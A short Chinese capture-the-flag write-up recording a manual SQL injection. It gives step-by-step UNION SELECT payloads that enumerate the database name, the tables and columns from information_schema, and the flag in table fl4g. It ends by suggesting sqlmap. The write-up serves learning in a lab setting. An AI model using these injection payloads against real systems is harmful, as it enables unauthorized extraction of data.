本次做题主要是记录一下手注的过程,同时回顾一下相关内容。
题目
进入环境
首先尝试找到注入点;
用and 1=1 和 and 1=2进行尝试
之后就可以开始注入了;用order by获取字段个数;
确定回显位置;
payload:
?id=-1' union select 1,2,3 %23
确定位置后就是获取数据库名;
payload:
?id=-1' union select 1,database(),3 %23
接下来就是确定表名;
payload:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note' %23
然后就是获得属性名(即列名),flag应该就在表fl4g中;
payload:
`?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g' %23
接下来查看记录就能得到最后的flag了;
payload:
?id=-1' union select 1,group_concat(fllllag),3 from fl4g %23
SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。
手注十分繁琐,可以去尝试使用sqlmap;